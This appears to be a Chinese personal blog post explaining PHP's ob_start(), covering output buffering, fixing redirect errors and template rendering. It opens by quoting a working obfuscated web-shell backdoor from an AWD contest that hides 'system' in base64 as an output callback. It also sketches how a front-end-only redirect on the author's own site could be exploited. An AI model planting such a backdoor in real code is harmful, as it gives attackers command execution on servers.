聊聊 PHP ob_start() 在开发中的应用

先从安全聊起

上周六协会 AWD,其中的 web1 中,有一个ob_start()的后门,具体代码是这样的:

@ob_start(base64_decode('c3lzdGVt'));
echo "$_GET[persistent]";
@ob_end_flush();

参照 PHP 的文档,我们其实可以知道这个后门的原理。
c3lzdGVt这一段,base64_decode出来的即为system。在使用ob_start()将即将输出的数据存入到了缓冲区中,在之后调用ob_end_flush()后,因为在ob_start()中传入了参数指定了回调函数,因此缓存区中的数据会被丢给回调函数处理——也就是给system了。

回到开发

当然啦,ob_start并不是为了这个后门而设计的。她在开发中虽然用到的次数不多,但一旦用到了,效果往往十分神奇。因此我才想好好聊一下。先聊聊ob_start()主要是干什么的吧。当调用了ob_start()后,在这之后的输出都不会被渲染到页面中,而是直接存入到 PHP 缓冲区中;之后就可以使用ob_get_contents()来获取缓冲区中的内容呀,可以使用ob_end_clean()来清理输出的内容呀这些。
比如下面这段我瞎编的魔性代码:

ob_start();
echo('I love Asuna!!');
ob_end_clean();

echo('No, you love Mashiro.');

上面仅会输入:No, you love Mashiro.,而Asuna的部分就被清楚了。仅供娱乐哈哈哈。除了echo()外,诸如require() include()的包含也是可以用的。

总而言之,ob_start()使得我们对于页面输出可控。

headers already sent by (output …

想必不少人在写 PHP 时都遇到过上面这行报错吧。
很多时候,我们都会使用类似

header('Location: login.php');

这样的代码来实现 302 跳转。即使用header()函数来添加返回头实现跳转。
然而,在header()之前是不允许有任何输出的,不然就会出现上面的这行报错。

还记得我之前在写 Cube 时,就是因为在判断该页面是否允许访问时,相关的菜单就已经包含显示出来了。因此会报上文的错误。
只怪当时太年轻,对于 Web 安全所知甚少,当时的解决方案是前端 JS 进行跳转。觉得在 Chrome 的开发者工具中看不到页面的内容,就说明页面没有返回给客户端,谁知用 burp 抓包能抓到。
这个漏洞直到今天才被我发现,感觉花时间修复了。幸好在这之前网站没有被打穿。利用前端跳转这个机制,你可以用 burp 抓到 Security 页面的内容,其中有我 Google Autherticator 的二维码,扫描后即可拿到临时登录密码登录,然后通过上传小工具的地方上传包含恶意代码的 PHP 后门。然后我的站就完蛋了。
burpsuite 抓包

回到主题上来,Cube 上这个洞,我也是用ob_start()进行修复的。
我使用了header()进行 302 跳转,不过在程序的入口处,我加入了ob_start()开启了缓冲区。这使得所有的内容不会被输出。当遇到header()时,即可正常跳转。若没有跳转,则在最后使用ob_end_flush()输出缓冲区中所有的数据。

当时我了解到ob_start()的这个特性时,第一时间想到的就是这个!
header()前使用ob_start()将输出存入缓冲区,从而实现正常跳转。

简化版的代码如下:

ob_start();
echo('Top meau here.');

if(!$isLogin){
    ob_end_clean();
    header('Location: login.php');
    exit;
}
echo('Main contents.');
ob_end_flush();

有坑注意
这里请务必在`header()`后加上`exit`,因为 PHP 代码在`header()`后依旧会继续执行,需要使用`exit`使其退出。

再多说一点,除了header()函数以外setcookie()函数执行之前也是不能有任何输出的。这一点也可以用ob_start()来解决。其实也好理解,setcookie()其实就是加了个Set-Cookie的返回头,本质其实就是header()

模板语言

PHP 中的模板语言是个棒的东西。她基本上做到了前后端分离,让前端可以更专注于页面的搭建,显示数据的部分使用简单的模板语言语法进行占位。(当然这话放在单页应用、PWA 横行的今天,可能有点老了嘻嘻。
嘛,其实 PHP 中的模板语言,也是通过ob_start()来实现的。即通过ob_start()将模板语法的内容替换成真正的变量。这里往往会用到extract()函数,就是那个在 CTF 中可以实现变量覆盖的函数。
这里给出在网上找到的一个简单的模板语言的实现原理代码:
来自:https://segmentfault.com/a/1190000011962590

class Template {
    private $templatePath;
    private $data;

    public function setTemplatePath($path) {
        $this->templatePath = $path;
    }

    /**
     * 设置模板变量
     * @param $key string | array
     * @param $value
     */
    public function assign($key, $value) {
        if(is_array($key)) {
            $this->data = array_merge($this->data, $key);
        } elseif(is_string($key)) {
            $this->data[$key] = $value;
        }
    }

    /**
     * 渲染模板
     * @param $template
     * @return string
     */
    public function display($template) {
        extract($this->data);       // 注入变量
        ob_start();         // 开启缓冲区,暂存输出
        include ($this->templatePath . $template);      // 加载模板
        $res = ob_get_contents();       // 获取即将输出的模板的数据
        ob_end_clean();
        return $res;
    }
}

使用:

 $template = new Template();
 $template->setTemplatePath(__DIR__ . '/template/');
 $template->assign('name', 'salamander');       // 注入变量
 $res = $template->display('index.html');       // 显示内容

整个实现的过程还是很奇妙的。能控制 PHP 的输出后,真的能做很多奇妙的事情。

搜索高亮??

突然想到,用 PHP 做搜索结果高亮时,是否也可以把准备输出的结果,先用ob_start()存起来,然后进行字符串匹配加上关键词高亮;然后再输出呢?
因为是对所有将要输出的数据的匹配,所以不会有漏的。
这只是我突然之间的一个想法,不知道性能方面行不行得通,以后遇到类似的问题不妨可以去试试。

嘛,关于ob_start()这个函数,想聊的大概就是这些啦。好像有段时间没大段大段地写过 PHP 了,都怪我太沉迷于 Golang。(*/ω*)

0 条评论

昵称

快来评论~